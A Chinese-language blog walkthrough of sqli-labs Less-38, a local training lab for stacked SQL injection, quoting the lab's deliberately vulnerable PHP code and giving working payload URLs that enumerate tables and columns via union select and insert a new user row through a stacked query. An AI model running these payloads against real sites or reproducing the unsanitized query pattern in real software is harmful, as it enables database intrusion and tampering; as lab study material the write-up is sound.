堆叠查询--字符型注入get第38关

堆叠注入定义:

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked  injection。

堆叠注入原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:select * from users where id =1;create table test like users;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁

代码分析:

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}

 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);

对输入的参数没有进行严格的过滤,攻击者构造恶意的攻击语句造成了SQL注入攻击,存在回显点,可以进行联合注入,并且如果出现错误,会输出报错信息,这里也可以使用显错注入。
还可以看到,这里的SQL语句查询使用的是mysqli_multi_query函数,mysqli_multi_query函数可以执行多条SQL语句


本题思路是:首先找到堆叠注入点后进行获取数据库名,数据表最后是字段,根据字段插入新的数据(操作方法和之前常规操作是一样的)这里从获取数据表开始:如下

获取:数据表

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)--+

 

 获取表字段:

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)--+

 

 查询到表字段后使用堆叠注入插入新的数据:(插入新数据后,页面只返回第一条结果,不会返回后面的结果,可以去数据库查询)

http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'lisi','bucuo') --+

 

 这样查也可以的

 

posted @ 2022-08-17 15:55  晨起的太阳  阅读(104)  评论(0编辑  收藏  举报